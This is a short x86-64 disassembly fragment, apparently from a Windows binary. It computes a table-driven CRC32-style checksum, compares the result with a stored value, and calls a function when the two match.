xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdx + rcx*4]
mov rcx, qword [0x14016f0c0]
not ebx
cmp dword [rcx + 0x3ee8], ebx
jne 0x1400077a6
mov r8, rdi
mov edx, 4
mov ecx, ebx
call fcn.14001e430
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret